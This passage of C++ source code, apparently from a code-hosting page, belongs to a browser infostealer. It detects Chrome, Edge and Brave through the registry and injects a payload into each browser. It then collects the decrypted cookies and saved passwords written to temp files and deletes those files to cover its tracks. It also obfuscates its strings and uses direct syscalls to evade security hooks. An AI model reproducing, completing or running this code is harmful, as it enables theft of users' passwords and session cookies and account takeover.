std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
std::cout << item.dump(4) << EC("\n");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch (std::exception& e) {
|
||||
std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n");
|
||||
}
|
||||
}
|
||||
else {
|
||||
std::cout << EC("Failed to decrypt: ") << path << EC("\n");
|
||||
}
|
||||
|
||||
// Delete file after processing
|
||||
std::error_code ec;
|
||||
fs::remove(path, ec);
|
||||
if (ec) {
|
||||
std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CookieProcess(const std::string& path, std::vector<std::vector<std::string>>& Cookies, std::string Nummy) {
|
||||
if (fs::exists(path)) {
|
||||
std::string decrypted;
|
||||
|
||||
std::cout << EC("Ck 1") << std::endl;
|
||||
|
||||
if (LoadDecryptedFromFile(decrypted, path, 0xAA)) {
|
||||
try {
|
||||
|
||||
std::cout << EC("Ck 2") << std::endl;
|
||||
json j = json::parse(decrypted);
|
||||
|
||||
std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n");
|
||||
|
||||
for (auto& item : j) {
|
||||
if (item.contains(EC("host")) && item.contains(EC("name")) && item.contains(EC("value"))) {
|
||||
|
||||
try
|
||||
{
|
||||
// Cookie format
|
||||
/*std::cout << EC("Host: ") << item[EC("host")] << EC("\n");
|
||||
std::cout << EC("Name: ") << item[EC("name")] << EC("\n");
|
||||
std::cout << EC("Value: ") << item[EC("value")] << EC("\n");
|
||||
std::cout << EC("Path: ") << item[EC("path")] << EC("\n");
|
||||
std::cout << EC("Secure: ") << item[EC("secure")] << EC("\n");
|
||||
std::cout << EC("HttpOnly: ") << item[EC("httpOnly")] << EC("\n");
|
||||
std::cout << EC("Expires: ") << item[EC("expires")] << EC("\n");
|
||||
std::cout << EC("---------------------\n");*/
|
||||
|
||||
Cookies.push_back({ toString(item[EC("name")]), toString(item[EC("value")]), toString(item[EC("host")]), toString(item[EC("path")]), toString(item[EC("expires")]), Nummy });
|
||||
}
|
||||
catch (std::exception& e) {
|
||||
std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
std::cout << item.dump(4) << EC("\n");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch (std::exception& e) {
|
||||
std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n");
|
||||
}
|
||||
}
|
||||
else {
|
||||
std::cout << EC("Failed to decrypt: ") << path << EC("\n");
|
||||
}
|
||||
|
||||
// Delete file after processing
|
||||
std::error_code ec;
|
||||
fs::remove(path, ec);
|
||||
if (ec) {
|
||||
std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool IsBrowserInstalled(const std::wstring& regSubKey, const std::wstring& valueName)
|
||||
{
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS &&
|
||||
RegOpenKeyExW(HKEY_CURRENT_USER, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t path[MAX_PATH];
|
||||
DWORD pathSize = sizeof(path);
|
||||
LONG result = RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr, reinterpret_cast<LPBYTE>(path), &pathSize);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
return (result == ERROR_SUCCESS && wcslen(path) > 0);
|
||||
}
|
||||
|
||||
bool HasChrome()
|
||||
{
|
||||
return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"), EC(L""));
|
||||
}
|
||||
|
||||
bool HasBrave()
|
||||
{
|
||||
return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe"), EC(L""));
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Function definition
|
||||
void Moain(std::vector<BYTE> bayyat, std::vector<std::vector<std::string>>& Cookies, std::vector<std::vector<std::string>>& Passeyy) {
|
||||
Console console(false);
|
||||
|
||||
|
||||
if (!InitializeSyscalls(false))
|
||||
{
|
||||
console.Error(EC("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."));
|
||||
}
|
||||
|
||||
std::string Temppp = GetTempPathStr();
|
||||
|
||||
std::string ChromeCookiePath = Temppp + EC("chc11");
|
||||
std::string ChromePassPath = Temppp + EC("cps11");
|
||||
|
||||
std::string EdgeCookiePath = Temppp + EC("eck11");
|
||||
std::string EdgePassPath = Temppp + EC("eps11");
|
||||
|
||||
std::string BraveCookiePath = Temppp + EC("bccb11");
|
||||
std::string BravePassPath = Temppp + EC("bppb11");
|
||||
|
||||
std::vector<std::vector<std::string>> CookiesTepo;
|
||||
std::vector<std::vector<std::string>> PasswordsTepo;
|
||||
|
||||
if (HasChrome())
|
||||
{
|
||||
printf(EC("In Chrome"));
|
||||
auto optConfig = Configuration::CreateFromArgs(EC(L"chrome"));
|
||||
try
|
||||
{
|
||||
RunInjectionWorkflow(*optConfig, console, bayyat);
|
||||
}
|
||||
catch (const std::runtime_error& e)
|
||||
{
|
||||
console.Error(e.what());
|
||||
}
|
||||
|
||||
Sleep(250);
|
||||
|
||||
CookieProcess(ChromeCookiePath, CookiesTepo, EC("1"));
|
||||
PassProcess(ChromePassPath, PasswordsTepo, EC("1"));
|
||||
Cookies = CookiesTepo;
|
||||
Passeyy = PasswordsTepo;
|
||||
}
|
||||
|
||||
printf(EC("In Edge"));
|
||||
auto optConfig2 = Configuration::CreateFromArgs(EC(L"edge"));
|
||||
try
|
||||
{
|
||||
RunInjectionWorkflow(*optConfig2, console, bayyat);
|
||||
}
|
||||
catch (const std::runtime_error& e)
|
||||
{
|
||||
console.Error(e.what());
|
||||
}
|
||||
|
||||
Sleep(250);
|
||||
|
||||
//CookieProcess(EdgeCookiePath, CookiesTepo, EC("2"));
|
||||
if (fs::exists(EdgeCookiePath)) {
|
||||
std::error_code eced;
|
||||
fs::remove(EdgeCookiePath, eced);
|
||||
if (eced) {
|
||||
std::cerr << EC("Failed to delete: ") << EdgeCookiePath << EC(" (") << eced.message() << EC(")\n");
|
||||
}
|
||||
}
|
||||
PassProcess(EdgePassPath, PasswordsTepo, EC("2"));
|
||||
Cookies = CookiesTepo;
|
||||
Passeyy = PasswordsTepo;
|
||||
|
||||
|
||||
if (HasBrave())
|
||||
{
|
||||
printf(EC("In Brave"));
|
||||
|
||||
auto optConfig3 = Configuration::CreateFromArgs(EC(L"brave"));
|
||||
try
|
||||
{
|
||||
RunInjectionWorkflow(*optConfig3, console, bayyat);
|
||||
}
|
||||
catch (const std::runtime_error& e)
|
||||
{
|
||||
std::cout << EC("Error during injection: ") << e.what() << EC("\n");
|
||||
}
|
||||
|
||||
Sleep(250);
|
||||
|
||||
//CookieProcess(BraveCookiePath, CookiesTepo, EC("3"));
|
||||
if (fs::exists(BraveCookiePath)) {
|
||||
std::error_code eceb;
|
||||
fs::remove(BraveCookiePath, eceb);
|
||||
if (eceb) {
|
||||
std::cerr << EC("Failed to delete: ") << BraveCookiePath << EC(" (") << eceb.message() << EC(")\n");
|
||||
}
|
||||
}
|
||||
PassProcess(BravePassPath, PasswordsTepo, EC("3"));
|
||||
Cookies = CookiesTepo;
|
||||
Passeyy = PasswordsTepo;
|
||||
}
|
||||
|
||||
|
||||
CookiesTepo.clear();
|
||||
PasswordsTepo.clear();
|
||||
|
||||
printf(EC("Injector finished successfully."));
|
||||
}
|
||||
Reference in New Issue
Block a user